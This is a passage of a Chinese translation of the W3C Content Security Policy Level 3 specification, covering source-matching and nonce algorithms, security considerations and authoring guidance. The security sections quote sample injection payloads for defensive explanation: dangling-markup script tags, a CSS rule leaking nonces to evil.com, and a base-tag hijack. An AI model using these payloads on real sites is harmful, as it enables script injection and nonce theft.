    2. originhosturlhost 相同, originporturlport 也相同, 或者二者的 默认端口 相同, 且满足以下条件之一:

      1. urlscheme 是 "https" 或 "wss"

      2. originscheme 是 "http",且 urlscheme 是 "http" 或 "ws"

    注意: 像上述 scheme-part 逻辑一样, "'self'" 匹配算法允许在安全情况下升级到安全 scheme。 我们将这些升级限制为在特定 scheme 的默认端口上运行的端点或与受保护资源的 origin 匹配的端口, 因为这似乎足以应对预期可能成功的升级。

  5. 返回 "Does Not Match"。

6.7.2.9. scheme-part 匹配

一个 ASCII 字符串 scheme-part 匹配 另一个 ASCII 字符串,如果一个包含前者作为 scheme-part 的 CSP 源表达式可能匹配包含后者作为 scheme 的 URL。例如,我们可以说 "http" scheme-part 匹配 "https"。

注意: 匹配关系是非对称的。例如,源表达式 https:https://example.com/ 不匹配 URL http://example.com/。 我们总是允许从明确的不安全表达式进行安全升级。script-src http: 被视为等同于 script-src http: https:script-src http://example.com 等同于 script-src http://example.com https://example.comconnect-src ws: 等同于 connect-src ws: wss:

更正式地说,如果以下算法返回 "Matches",则认为两个 ASCII 字符串 ABscheme-part 匹配

  1. 如果以下任一情况为真,则返回 “Matches”:

    1. AB ASCII 不区分大小写匹配。

    2. A 与 “httpASCII 不区分大小写匹配,并且 B 与 “httpsASCII 不区分大小写匹配。

    3. A 与 “wsASCII 不区分大小写匹配,并且 B 与 “wss”、“http” 或 “httpsASCII 不区分大小写匹配。

    4. A 与 “wssASCII 不区分大小写匹配,并且 B 与 “httpsASCII 不区分大小写匹配。

  2. 返回 “Does Not Match”。

6.7.2.10. host-part 匹配

一个 ASCII 字符串 host-part 匹配 一个 host,如果一个包含前者作为 host-part 的 CSP 源表达式可能匹配后者。例如,我们说 "www.example.com" host-part 匹配 "www.example.com"。

更正式地说,如果以下算法返回 "Matches",则认为 ASCII 字符串 patternhost hosthost-part 匹配

注意: 匹配关系是非对称的。即,pattern 匹配 host 并不意味着 host 会匹配 pattern。例如,*.example.com host-part 匹配 www.example.com,但 www.example.comhost-part 匹配 *.example.com

注意: 未来版本的规范可能允许文字形式的 IPv6 和 IPv4 地址,具体取决于使用情况和需求。然而,由于 IP 地址相对于命名主机的安全属性较弱,建议作者尽可能优先使用后者。

  1. 如果 host 不是一个 ,返回 "Does Not Match"。

  2. 如果 pattern 是 "*",返回 "Matches"。

  3. 如果 pattern "*." 开始:

    1. remaining 为去掉首个 U+002A (*) 并 转为 ASCII 小写pattern

    2. 如果 host 转为 ASCII 小写 remaining 结尾,则返回 "Matches"。

    3. 返回 "Does Not Match"。

  4. 如果 pattern 不是与 host ASCII 大小写不敏感 匹配,返回 "Does Not Match"。

  5. 返回 "Matches"。

6.7.2.11. port-part 匹配

一个 ASCII 字符串或 null input port-part matches URL url,条件是:如果一个 CSP 源表达式(它将前者包含为 port-part)可能匹配一个包含后者端口方案的 URL。例如,“80” port-part matches 匹配 http://example.com。

  1. 断言:input 为 null、“*”或一个或多个 ASCII 数字的序列。

  2. 如果 input 等于 “*”,则返回 “匹配”。

  3. 如果 input 为 null,则令 normalizedInput 为 null;否则将 input 解释为十进制数。

  4. 如果 normalizedInput 等于 url端口,则返回 “匹配”。

  5. 如果 url端口为 null:

    1. defaultPorturl方案默认端口

    2. 如果 normalizedInput 等于 defaultPort,则返回 “匹配”。

  6. 返回 “不匹配”。

6.7.2.12. path-part 匹配

如果一个 CSP 源表达式包含 ASCII 字符串 path A,该 path-part 匹配 另一个 ASCII 字符串 path B,则它可以潜在地匹配包含该 path 的 URL。例如,我们说 "/subdirectory/" path-part 匹配 "/subdirectory/file"。

注意: 匹配关系是非对称的。即,path A 匹配 path B 并不意味着 path B 会匹配 path A

  1. 如果 path A 是空字符串,返回 "Matches"。

  2. 如果 path A 仅由一个等于 U+002F SOLIDUS 字符 (/) 的字符组成,并且 path B 是空字符串,返回 "Matches"。

  3. 如果 path A 的最后一个字符是 U+002F SOLIDUS 字符 (/),则设 exact matchfalse,否则设为 true

  4. path list Apath list B 为将 path Apath B 分别使用 U+002F SOLIDUS 字符 (/) 严格分割后的结果。

  5. 如果 path list A 的项数多于 path list B,返回 "Does Not Match"。

  6. 如果 exact matchtrue,并且 path list A 的项数与 path list B 不相同,返回 "Does Not Match"。

  7. 如果 exact matchfalse

    1. 断言:path list A 的最后一项是空字符串。

    2. path list A 中移除最后一项。

  8. 对于每个 piece A,在 path list A 中:

    1. piece Bpath list B 中的下一个项。

    2. decoded piece A百分号解码后的 piece A

    3. decoded piece B百分号解码后的 piece B

    4. 如果 decoded piece A 不等于 decoded piece B,返回 "Does Not Match"。

  9. 返回 "Matches"。

6.7.3. 元素匹配算法

6.7.3.1. element 是否可以添加 nonce?

给定一个 Element element,如果可以使用 nonce-source 表达式匹配该元素(详见 第7.2节 Nonce 劫持),则返回 "Nonceable",否则返回 "Not Nonceable"。

  1. 如果 element 没有名为 "nonce" 的属性,返回 "Not Nonceable"。

  2. 如果 element 是一个 script 元素,则 对每个 attributeelement属性列表中的)执行以下检查:

    1. 如果 attribute 的名称包含 "<script" 或 "<style" 的 ASCII 大小写不敏感 匹配,返回 "Not Nonceable"。

    2. 如果 attribute 的值包含 "<script" 或 "<style" 的 ASCII 大小写不敏感 匹配,返回 "Not Nonceable"。

  3. 如果 element 在标记化期间发生了 重复属性解析错误,返回 "Not Nonceable"。

    如果我们打算在这里使用它,我们需要某种 HTML 中的钩子来记录此错误。[whatwg/html 问题 #3257]

  4. 返回 "Nonceable"。

此处理旨在减轻悬空标记攻击的风险,此类攻击会从现有元素中窃取随机数以加载注入的脚本。然而,这样做代价相当高昂,因为它要求我们遍历所有属性及其值才能确定脚本是否应该执行。在这里,我们尝试通过仅在存在随机数时对 script 元素执行此检查来最大限度地减少影响,但在我们了解其影响之前,我们可能应该将此算法视为“存在风险”。[w3c/webappsec-csp 问题 #98]

6.7.3.2. 源列表是否允许所有内联行为用于 type

如果源列表包含keyword-source表达式 'unsafe-inline',并且没有像以下算法中所述的那样覆盖该表达式,则该源列表允许所有给定type的内联行为

给定一个源列表 list和一个字符串type,如果允许所有给定type的内联内容,则以下算法返回“Allows”,否则返回“Does Not Allow”。

  1. allow all inlinefalse

  2. 对于list中的每个expression

    1. 如果expression匹配nonce-sourcehash-source语法,则返回“Does Not Allow”。

    2. 如果type是“script”、“script attribute”或“navigation”,并且expression匹配keyword-source'strict-dynamic'”,则返回“Does Not Allow”。

      注意:'strict-dynamic'仅适用于脚本,不适用于其他资源类型。用法在§ 8.2 “'strict-dynamic'”的用法中有更详细的解释。

    3. 如果expressionkeyword-source'unsafe-inline'ASCII 不区分大小写匹配,则将allow all inline设置为true

  3. 如果allow all inlinetrue,则返回“Allows”。否则,返回“Does Not Allow”。

允许所有内联行为的源列表
'unsafe-inline' http://a.com http://b.com
'unsafe-inline'

由于存在随机数和/或哈希,或缺少 'unsafe-inline',因此不允许所有内联行为源列表

'sha512-321cba' 'nonce-abc'
http://example.com 'unsafe-inline' 'nonce-abc'

type为 'script' 或 'script attribute' 时,由于存在 'strict-dynamic' 而不允许所有内联行为源列表,但其他情况下允许所有内联行为

'unsafe-inline' 'strict-dynamic'
http://example.com 'strict-dynamic' 'unsafe-inline'
6.7.3.3. element 是否匹配 typesource 的源列表?

给定一个元素 element,一个源列表 list,一个字符串 type,以及一个字符串 source,此算法返回 “Matches” 或 “Does Not Match”。

注意:无论文档的编码如何,在应用任何哈希算法之前,source 都将转换为 UTF-8

  1. 如果§ 6.7.3.2 源列表是否允许所有内联行为类型?在给定 listtype 的情况下返回 “Allows”,则返回 “Matches”。

  2. 如果 type 是 “script” 或 “style”,并且在对 element 执行§ 6.7.3.1 元素是否可设置随机数?时返回 “Nonceable”:

    1. 对于 list 中的每个 expression

      1. 如果 expression 匹配nonce-source语法,并且 element 具有一个 nonce 属性,其值 expressionbase64-value部分,则返回 “Matches”。

    注意:随机数仅适用于内联 script 和内联 style, 不适用于任一元素的属性或 javascript: 导航。

  3. unsafe-hashes flagfalse

  4. 对于 list 中的每个 expression

    1. 如果 expressionkeyword-source'unsafe-hashes'ASCII 不区分大小写匹配,则将 unsafe-hashes flag 设置为 true。跳出循环。

  5. 如果 type 是 “script” 或 “style”,或者 unsafe-hashes flagtrue

    1. source 设置为对 source 执行JavaScript 字符串转换的结果执行UTF-8 编码的结果。

    2. 对于 list 中的每个 expression

      1. 如果 expression 匹配hash-source语法:

        1. algorithm 为 null。

        2. 如果 expressionhash-algorithm 部分与 “sha256” ASCII 不区分大小写匹配,则将 algorithm 设置为SHA-256

        3. 如果 expressionhash-algorithm 部分与 “sha384” ASCII 不区分大小写匹配,则将 algorithm 设置为SHA-384

        4. 如果 expressionhash-algorithm 部分与 “sha512” ASCII 不区分大小写匹配,则将 algorithm 设置为SHA-512

        5. 如果 algorithm 不为 null:

          1. actual 为对 source 应用 algorithm 的结果进行base64 编码的结果。

          2. expectedexpressionbase64-value 部分,其中所有 “-” 字符替换为 “+”,所有 “_” 字符替换为 “/”。

            注意:此替换将以base64url 编码表示的哈希规范化为base64 编码以进行匹配。

          3. 如果 actualexpected 相同,则返回 “Matches”。

    注意:哈希适用于内联 script 和内联 style。 如果存在 “'unsafe-hashes'” 源表达式,它们也将适用于事件处理程序、样式属性和 javascript: 导航。

这应该处理动态插入的内联脚本的 'strict-dynamic'[w3c/webappsec-csp 问题 #426]

  1. 返回 “Does Not Match”。

6.8. 指令算法

6.8.1. 获取 request 的有效指令

每个 fetch 指令 控制 request 的特定目标。给定一个 请求 request,以下算法返回请求的 名称 或 null,作为 有效指令

  1. 如果 requestinitiator 是 "prefetch" 或 "prerender",返回 default-src

  2. 根据 requestdestination,执行相应步骤:

    空字符串
    1. 返回 connect-src

    "manifest"
    1. 返回 manifest-src

    "object"
    "embed"
    1. 返回 object-src

    "frame"
    "iframe"
    1. 返回 frame-src

    "audio"
    "track"
    "video"
    1. 返回 media-src

    "font"
    1. 返回 font-src

    "image"
    1. 返回 img-src

    "style"
    1. 返回 style-src-elem

    "script"
    "xslt"
    "audioworklet"
    "paintworklet"
    1. 返回 script-src-elem

    "serviceworker"
    "sharedworker"
    "worker"
    1. 返回 worker-src

    "json"
    "webidentity"
    1. 返回 connect-src

    "report"
    1. 返回 null。

  3. 返回 connect-src

注意: 该算法返回 connect-src 作为默认回退。这是为了处理新添加的 fetch 目标,这些目标不明确归入其他类别中。

6.8.2. 获取用于内联检查的有效指令

给定一个字符串 type,此算法返回有效指令的 名称

注意: 虽然 有效指令 仅为 请求 定义,但在本算法中,它用于表示与特定类型内联检查最相关的指令。

  1. 根据 type 进行判断:

    "script"
    "navigation"
    1. 返回 script-src-elem

    "script attribute"
    1. 返回 script-src-attr

    "style"
    1. 返回 style-src-elem

    "style attribute"
    1. 返回 style-src-attr

  2. 返回 null。

6.8.3. 获取提取指令的回退列表

将返回特定指令的回退指令有序集合。 返回的有序集合按从最相关到最不相关的顺序排序,并且它包含有效的指令本身。

给定一个字符串 directive name

  1. 根据 directive name 进行判断:

    "script-src-elem"
    1. 返回 << "script-src-elem", "script-src", "default-src" >>

    "script-src-attr"
    1. 返回 << "script-src-attr", "script-src", "default-src" >>

    "style-src-elem"
    1. 返回 << "style-src-elem", "style-src", "default-src" >>

    "style-src-attr"
    1. 返回 << "style-src-attr", "style-src", "default-src" >>

    "worker-src"
    1. 返回 << "worker-src", "child-src", "script-src", "default-src" >>

    "connect-src"
    1. 返回 << "connect-src", "default-src" >>

    "manifest-src"
    1. 返回 << "manifest-src", "default-src" >>

    "object-src"
    1. 返回 << "object-src", "default-src" >>

    "frame-src"
    1. 返回 << "frame-src", "child-src", "default-src" >>

    "media-src"
    1. 返回 << "media-src", "default-src" >>

    "font-src"
    1. 返回 << "font-src", "default-src" >>

    "img-src"
    1. 返回 << "img-src", "default-src" >>

  2. 返回 << >>

6.8.4. 判断是否应执行提取指令

此算法用于获取指令,以决定一个指令是应该执行还是推迟到另一个更合适的指令。 例如:如果effective directive nameworker-src(意味着我们当前正在检查一个 worker 请求),那么如果存在worker-srcscript-src指令,则default-src指令不应执行。

给定一个字符串effective directive name,一个字符串directive name和一个策略 policy

  1. directive fallback list 为在 effective directive name 上执行§ 6.8.3 获取 fetch 指令回退列表的结果。

  2. 对于 directive fallback list 中的每个 fallback directive

    1. 如果 directive namefallback directive,则返回“Yes”。

    2. 如果 policy 包含一个其名称fallback directive 的指令,则返回“No”。

  3. 返回“No”。

7. 安全和隐私注意事项

7.1. Nonce 重用

Nonce 会覆盖它们所传递的指令中的其他限制。因此,保持它们不可猜测是至关重要的,否则绕过资源的策略就变得非常简单。

如果服务器在 nonce-source 表达式中作为 策略的一部分传递,服务器必须每次传递策略时生成一个唯一值。生成的值应至少有 128 位长(编码之前),并且应通过密码学安全的随机数生成器生成,以确保该值对攻击者难以预测。

注意: 使用 nonce 允许内联脚本或样式的安全性不如不使用 nonce,因为 nonce 会覆盖它们所在指令中的限制。攻击者一旦能获取 nonce,就可以随时执行任意脚本。不过,当在旧代码之上叠加内容安全策略时,nonce 提供了比 'unsafe-inline' 更大的安全提升。在考虑使用 'unsafe-inline' 时,建议作者考虑使用 nonce(或哈希)替代。

7.2. Nonce 劫持

7.2.1. 悬空标记攻击

悬空标记攻击,例如在 [FILEDESCRIPTOR-2015] 中讨论的攻击,可以用于重新利用页面的合法 nonce 进行注入。例如,假设一个注入点位于某个 script 元素之前:

<p>Hello, [注入点]</p>
<script nonce=abc src=/good.js></script>

如果攻击者注入字符串 "<script src='https://evil.com/evil.js' ",则浏览器会收到以下内容:

<p>Hello, <script src='https://evil.com/evil.js' </p>
<script nonce=abc src=/good.js></script>

然后它将解析该代码,得到一个具有指向恶意载荷的 src 属性的 script 元素,包含一个名为 </p> 的属性,一个名为 "<script" 的属性,一个 nonce 属性,以及被解析器丢弃为重复项的第二个 src 属性。

§ 6.7.3.1 是否元素可以应用 nonce? 算法尝试通过遍历 scriptstyle 元素属性,查找属性名或值中是否包含字符串 "<script" 或 "<style" 来减轻这种特定攻击。

在实现此算法时,用户代理必须特别注意不要忽略重复的属性。如果元素具有重复的属性,则该属性的所有实例在第一个之后都会被忽略,但在 § 6.7.3.1 是否元素可以应用 nonce? 算法中,所有属性(包括重复的属性)都需要进行检查。

目前,HTML 规范的解析算法会在§ 6.7.3.1 元素是否可设置随机数?算法运行之前移除此信息,这使得无法实际检测重复属性。[whatwg/html 问题 #3257]

对于以下示例页面:

Hello, [注入点]
<script nonce=abc src=/good.js></script>

以下注入的字符串将使用重复属性来尝试绕过 § 6.7.3.1 是否元素可以应用 nonce? 算法检查:

Hello, <script src='https://evil.com/evil.js' x="" x=
<script nonce="abcd" src=/good.js></script>

7.2.2. 通过内容属性的 Nonce 泄露

某些对 CSP 的攻击依赖于通过各种可以读取内容属性的机制来泄露 nonce 数据。CSS 选择器是最好的例子:通过巧妙地使用前缀/后缀文本匹配选择器的值,可以将 nonce 数据发送到攻击者的服务器以便重用。例如:

script[nonce=a] { background: url("https://evil.com/nonce?a");}

nonce 部分讨论了通过隐藏元素的内容属性中的 nonce,并将其移动到内部插槽来减轻这些类型的攻击。这是为了确保 nonce 值仅暴露给脚本,而不暴露给任何其他非脚本渠道。

7.3. Nonce 重定向

Nonce 会绕过 host-source 表达式,允许开发者从任意来源加载代码。这通常对开发者而言是可以接受的,也是理想的。但是,如果攻击者能够注入一个 base 元素,那么在解析相对 URL 时,原本安全的页面可能会被劫持。也就是说,在 https://example.com/ 上,以下代码将加载 https://example.com/good.js

<script nonce=abc src=/good.js></script>

然而,以下代码将加载 https://evil.com/good.js

<base href="https://evil.com">
<script nonce=abc src=/good.js></script>

为了降低这种风险,建议在每个页面上设置明确的 base 元素,或通过在页面策略中设置 base-uri 指令来限制攻击者注入自己的 base 元素的能力。例如,base-uri 'none'

7.4. CSS 解析

style-src 指令限制了受保护资源可以从哪些位置加载样式。然而,如果用户代理使用宽松的 CSS 解析算法,攻击者可能会诱骗用户代理接受来自原本可信来源的恶意“样式表”。

这些攻击类似于 Chris Evans 在 2009 年描述的跨源数据泄露攻击 [CSS-ABUSE]。用户代理应使用相同的机制抵御这两种攻击:对 MIME 类型不正确的样式表使用更严格的 CSS 解析规则。

7.5. 违规报告

本文件中的违规报告机制旨在降低恶意网站利用违规报告探查其他服务器行为的风险。例如,考虑一个恶意网站允许 https://example.com 作为图像来源。如果恶意网站尝试将 https://example.com/login 作为图像加载,并且 example.com 服务器重定向到一个身份提供者(例如 identityprovider.example.net),则 CSP 会阻止请求。如果违规报告包含完整的被阻止 URL,则违规报告可能包含重定向 URL 中的敏感信息,例如会话标识符或声称的身份。因此,用户代理仅包含原始请求的 URL,而不包含重定向目标。

还需注意,违规报告应视为攻击者控制的数据。希望在仪表板或类似服务中收集违规报告的开发人员应小心在渲染报告之前正确转义其内容(他们可能自己也应该使用 CSP 进一步降低注入风险)。特别是违规报告的 "script-sample" 属性和 sample 属性,这两者都是完全由攻击者控制的字符串。

7.6. 路径与重定向

为了避免跨源泄露路径信息(如 Egor Homakov 在其文章 使用内容安全策略作恶 中讨论的),匹配算法会在加载资源是重定向的结果时忽略源表达式的路径部分。例如,假设一个页面的策略为 img-src example.com example.org/path

当重定向存在时,这种限制会降低文档策略的粒度,但这是为了避免此类信息泄露被暴力破解所做的必要妥协。

在 public-webappsec@w3.org 上有较长的讨论线程 “移除 CSP 中的路径?”,详细讨论了其他替代提案。

7.7. 安全升级

为了减轻历史扫描攻击的某种变体,如 Yan Zhu 的 Sniffly,CSP 不允许页面通过类似 script-src http://example.com 的策略将自己锁定到不安全的 URL 中。如 § 6.7.2.9 scheme-part matching 中所述,源表达式的方案部分将始终允许升级到安全版本。

7.8. CSP 继承以避免绕过

本地方案 加载的文档将继承源文档中的策略副本。这样做的目的是确保页面无法通过嵌入框架或打开包含完全受其控制内容的新窗口来绕过其策略(例如 srcdoc 文档、blob:data: URLs、可通过 document.write() 操作的 about:blank 文档等)。

如果没有这种机制,页面可以通过简单地嵌入一个 srcdoc iframe,即使页面的执行上下文中没有 unsafe-inline,也可以执行内联脚本。
<iframe srcdoc="<script>alert(1);</script>"></iframe>

请注意,我们创建了CSP 列表的副本,这意味着新文档CSP 列表是其创建时相关策略的快照。新文档CSP 列表中的修改不会影响源文档CSP 列表,反之亦然。

在下面的示例中,iframe 内的图片将不会加载,因为它被 iframe 中的 meta 标签的策略阻止了。iframe 外的图片将会加载(假设主页面策略未阻止它),因为插入到 iframe 中的策略不会影响到主页面。
<iframe srcdoc='<meta http-equiv="Content-Security-Policy" content="img-src example.com;">
                   <img src="not-example.com/image">'></iframe>

<img src="not-example.com/image">

8. 编写注意事项

8.1. 多个策略的影响

本节不是规范性内容。

上述章节指出,当存在多个策略时,每个策略必须根据其类型进行强制或报告。一个示例有助于澄清这在实践中应该如何运作。在某些情况下,以下HTTP头可能会影响 XMLHttpRequest 的行为:

Content-Security-Policy: default-src 'self' http://example.com http://example.net;
                 connect-src 'none';
Content-Security-Policy: connect-src http://example.com/;
                 script-src http://example.com/

是否允许连接到 example.com?简单的答案是,不允许。强制实施这两个策略意味着潜在的连接必须同时满足两个策略。尽管第二个策略允许此连接,第一个策略包含 connect-src 'none',因此其强制执行会阻止连接。这意味着向策略列表添加附加策略只会进一步限制受保护资源的能力。

为了进一步说明,请考虑页面上的一个脚本标签。第一个策略通过 default-src 指令将脚本限制在 'self'http://example.comhttp://example.net 内。而第二个策略只允许来自 http://example.com/ 的脚本。脚本将仅在符合两个策略的标准时加载:在此情况下,唯一符合条件的来源是 http://example.com,因为两个策略都允许它。

8.2. "'strict-dynamic'" 的使用

本节不是规范性内容。

基于主机和路径的策略很难正确实现,尤其是在像CDN这样的大型来源上。Cure53 的 H5SC 小挑战 3:“该死的 CSP!”的解决方案 [H5SC3] 是这种策略可能启用的绕过的很好例子,尽管 CSP 能够通过详尽声明特定资源来减轻这些绕过,但这些列表往往脆弱、笨拙,难以实施和维护。

"'strict-dynamic'" 源表达式旨在使内容安全策略(CSP)在现有应用程序中更易于部署,这些应用程序对它们直接加载的脚本具有高度信心,但对提前提供合理的资源加载列表缺乏信心。

如果在 script-srcdefault-src 指令中存在,它具有两个主要影响:

  1. host-sourcescheme-source 表达式,以及 "'unsafe-inline'" 和 "'self' keyword-source 将在加载脚本时被忽略。

    hash-sourcenonce-source 表达式将被尊重。

  2. 由非 "解析器插入"script 元素触发的脚本请求是允许的。

第一个变化使得您可以以向后兼容的方式部署 "'strict-dynamic'",无需用户代理嗅探:策略 'unsafe-inline' https: 'nonce-abcdefg' 'strict-dynamic' 在支持 CSP1 的浏览器中将像 'unsafe-inline' https: 一样工作,在支持 CSP2 的浏览器中将表现为 https: 'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV',在支持 CSP3 的浏览器中则表现为 'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV' 'strict-dynamic'

第二个变化允许通过 nonce 或哈希获得对页面访问权限的脚本导入其依赖项,而无需在页面策略中显式添加它们。

假设 MegaCorp, Inc. 部署了以下策略:
Content-Security-Policy: script-src 'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV' 'strict-dynamic'

并在该策略激活的情况下提供以下HTML:

...
<script src="https://cdn.example.com/script.js" nonce="DhcnhD3khTMePgXwdayK9BsMqXjhguVV" ></script>
...

这将生成对 https://cdn.example.com/script.js 的请求,因为具有匹配的 nonce 属性,所以不会被阻止。

如果 script.js 包含以下代码:

var s = document.createElement('script');
s.src = 'https://othercdn.not-example.net/dependency.js';
document.head.appendChild(s);

document.write('<scr' + 'ipt src="/sadness.js"></scr' + 'ipt>');

dependency.js 将会加载,因为由 createElement() 创建的 script 元素不是 "解析器插入" 的。

然而,sadness.js 将不会加载,因为 document.write() 生成的 script 元素是 "解析器插入" 的。

注意: 使用 'strict-dynamic', 在运行时创建的脚本将被允许执行。如果攻击者可以控制这样的脚本的位置,则该策略将允许加载任意脚本。使用 'strict-dynamic' 的开发人员应审计非解析器插入 API 的使用,并确保它们不会被潜在的不可信数据调用。这包括在运行时决定脚本位置的应用程序或框架。

8.3. "'unsafe-hashes'" 的使用

本节不是规范性内容。

传统网站和依赖传统组件的网站可能难以完全外部化事件处理程序。这些网站可以通过允许 'unsafe-inline' 来启用此类处理程序,但这是一种高风险的选择(而且不能与 nonce 或哈希结合使用)。

"'unsafe-hashes'" 源表达式旨在简化这些情况下 CSP 的部署,使其更安全,通过允许开发人员使用哈希启用特定的处理程序。

MegaCorp, Inc. 无法在合理的时间内完全去除以下 HTML 代码:
<button id="action" onclick="doSubmit()">

与其通过指定 "'unsafe-inline'" 来降低安全性,他们决定使用 "'unsafe-hashes'" 以及对应于 doSubmit() 的哈希源表达式,如下所示:

Content-Security-Policy: script-src 'unsafe-hashes' 'sha256-jzgBGA4UWFFmpOBq0JpdsySukE1FrEN5bUpoK8Z29fY='

'unsafe-hashes' 提供的功能对传统网站非常有用,但在现代网站中应避免使用。特别需要注意的是,哈希允许特定脚本执行,但不能确保它按照开发人员的预期执行。如果一个有趣的功能暴露为内联事件处理程序(例如 <a onclick="transferAllMyMoney()">Transfer</a>),那么攻击者可以通过注入 <script>transferAllMyMoney()</script> 来利用它。开发人员应谨慎平衡允许特定脚本执行的风险与允许内联事件处理程序可能带来的部署优势。

8.4. 通过哈希允许外部 JavaScript

本节不是规范性内容。

[CSP2] 中,哈希 源表达式 仅能匹配内联脚本,但现在随着子资源完整性 [SRI] 的广泛部署,我们可以将范围扩展以启用外部化的 JavaScript。

如果为一个 script 指定了多组完整性元数据,则只有当每个项在该 script 的完整性元数据都符合策略时,请求才会匹配策略的 hash-source

注意: CSP 规范规定,在计算内联 script 元素或事件处理程序的哈希之前,需要使用 UTF-8 编码 对其内容进行编码。而 [SRI] 则对正在获取的原始资源计算哈希。这意味着,即使内联脚本块和外部脚本具有相同内容,允许它们的哈希也可能不同。

MegaCorp, Inc. 希望以确保内容符合预期的方式在页面上允许两个特定的脚本。他们通过设置以下策略来实现:
Content-Security-Policy: script-src 'sha256-abc123' 'sha512-321cba'

在该策略的作用下,以下 script 元素将被允许执行,因为它们仅包含符合策略的完整性元数据:

<script integrity="sha256-abc123" ...></script>
<script integrity="sha512-321cba" ...></script>
<script integrity="sha256-abc123 sha512-321cba" ...></script>

而以下 script 元素将不会执行,因为它们包含的有效元数据不符合策略(尽管其他元数据符合):

<script integrity="sha384-xyz789" ...></script>
<script integrity="sha384-xyz789 sha512-321cba" ...></script>
<script integrity="sha256-abc123 sha384-xyz789 sha512-321cba" ...></script>

未被识别的元数据(无论是因为它完全无效,还是因为它指定了尚未支持的哈希算法)不会影响这里描述的行为。也就是说,在上述策略的存在下,以下元素将被允许执行,因为附加元数据无效,因此不会允许未在策略中明确列出的脚本执行:

<script integrity="sha256-abc123 sha1024-abcd" ...></script>
<script integrity="sha512-321cba entirely-invalid" ...></script>
<script integrity="sha256-abc123 not-a-hash-at-all sha512-321cba" ...></script>

8.5. Strict CSP(严格内容安全策略)

本节不是规范性内容。

对抗 XSS 攻击部署有效的 CSP 是一项挑战(如 CSP Is Dead, Long Live CSP! 中所述 [LONG-LIVE-CSP])。 然而,遵循以下 CSP 指令集被证明是对抗 XSS 的有效且可部署的缓解措施。

  1. script-src:仅使用带有 源表达式nonce 和/或 源表达式hash, 并使用 "'strict-dynamic'" 关键字源

    注意:虽然 "'strict-dynamic'" 允许简化部署(如 § 8.2 "'strict-dynamic'" 的使用 中所述),但应尽可能避免使用。

    注意:为了向后兼容,建议在 "'strict-dynamic'" 旁边指定 https: 方案源

  2. base-uri:指定 "'self'" 或 "'none'"。

满足上述条件的 CSP 称为严格内容安全策略(Strict CSP)。更多细节请参考 [WEBDEV-STRICTCSP]

以下是严格内容安全策略的示例:

基于 nonce 的严格内容安全策略:

Content-Security-Policy: script-src 'strict-dynamic' 'nonce-{RANDOM}'; base-uri 'self';

基于哈希的严格内容安全策略:

Content-Security-Policy: script-src 'strict-dynamic' 'sha256-{HASHED_INLINE_SCRIPT}'; base-uri 'self';

8.6. 数据泄漏

本节不是规范性内容。

当请求的内容(如 URL)包含关于用户或页面的应当被限制且不应共享的信息时,可能会发生数据泄漏。

如果使用内容安全策略(CSP)来创建允许页面通信的服务器的白名单,则可以减少数据泄漏的发生。 请注意,缺少 default-src 指令的策略无法有效阻止数据泄漏, 因为某些请求类型无法通过更具体的指令来进行控制(例如,prefetch)。 [HTML]

在以下示例中,对图片、字体和脚本的严格限制策略 仍然允许通过其他请求类型(如 fetch()prefetch 等)进行数据泄漏: [HTML]
Content-Security-Policy: img-src 'none'; script-src 'none'; font-src 'none'

通过补充 default-src 'none' 来提高页面抵御这种攻击的强度。

在以下示例中,default-src 指令 似乎保护了免受数据泄漏的影响,但 img-src 指令 使用通配符放宽了此限制,从而允许将数据泄漏到任意端点。策略的泄漏缓解能力取决于最不严格的指令白名单:
Content-Security-Policy: default-src 'none'; img-src *

9. 实现注意事项

9.1. 特定供应商的扩展和插件

对资源实施的 策略 不应干扰用户代理功能 的正常运行,例如插件、扩展或书签工具。这些功能通常优先考虑用户的需求而不是页面作者的需求, 正如 [HTML-DESIGN] 中所提倡的那样。

此外,将 CSP 应用于这些功能会产生大量的违规报告噪音,显著降低其对开发者的价值。

例如,Chrome 浏览器排除了对 chrome-extension: 方案的 CSP 检查,并采取了一些措施来确保允许由扩展驱动的注入操作, 无论页面的策略如何。

10. IANA 考虑事项

10.1. 指令注册表

内容安全策略指令注册表应根据以下指令和参考资料进行更新 [RFC7762]

base-uri

本文档(见 § 6.3.1 base-uri

child-src

本文档(见 § 6.1.1 child-src

connect-src

本文档(见 § 6.1.2 connect-src

default-src

本文档(见 § 6.1.3 default-src

font-src

本文档(见 § 6.1.4 font-src

form-action

本文档(见 § 6.4.1 form-action

frame-ancestors

本文档(见 § 6.4.2 frame-ancestors

frame-src

本文档(见 § 6.1.5 frame-src

img-src

本文档(见 § 6.1.6 img-src

manifest-src

本文档(见 § 6.1.7 manifest-src

media-src

本文档(见 § 6.1.8 media-src

object-src

本文档(见 § 6.1.9 object-src

report-uri

本文档(见 § 6.5.1 report-uri

report-to

本文档(见 § 6.5.2 report-to

sandbox

本文档(见 § 6.3.2 sandbox

script-src

本文档(见 § 6.1.10 script-src

script-src-attr

本文档(见 § 6.1.12 script-src-attr

script-src-elem

本文档(见 § 6.1.11 script-src-elem

style-src

本文档(见 § 6.1.13 style-src

style-src-attr

本文档(见 § 6.1.15 style-src-attr

style-src-elem

本文档(见 § 6.1.14 style-src-elem

worker-src

本文档(见 § 6.2.2 worker-src

10.2. 头部

永久消息头字段注册表应根据以下内容进行更新: [RFC3864]

10.2.1. Content-Security-Policy

头字段名称
Content-Security-Policy
适用协议
http
状态
标准
作者/变更控制者
W3C
规范文件
本规范(见 § 3.1 内容安全策略 HTTP 响应头字段

10.2.2. Content-Security-Policy-Report-Only

头字段名称
Content-Security-Policy-Report-Only
适用协议
http
状态
标准
作者/变更控制者
W3C
规范文件
本规范(见 § 3.2 内容安全策略-仅报告 HTTP 响应头字段

11. 致谢

有很多人值得称赞。例如:

  • Mario 和 Cure53 的所有成员。

  • Artur Janc、Michele Spagnuolo、Lukas Weichselbaum、Jochen Eisinger 以及 Google 的 CSP 小组的其他成员。

一致性

文档约定

一致性要求通过描述性断言和 RFC 2119 术语的组合来表达。 在本文件的规范部分中, 关键词“必须 (MUST)”、“不得 (MUST NOT)”、“必需 (REQUIRED)”、“应 (SHALL)”、“不应 (SHALL NOT)”、“应该 (SHOULD)”、“不应该 (SHOULD NOT)”、“推荐 (RECOMMENDED)”、“可以 (MAY)”和“可选 (OPTIONAL)” 应按照 RFC 2119 中的描述进行解释。 但是,为了可读性, 这些词汇在本规范中并不全部以大写字母出现。

除明确标记为非规范的章节、示例和注释外, 本规范的所有内容均为规范性内容。[RFC2119]

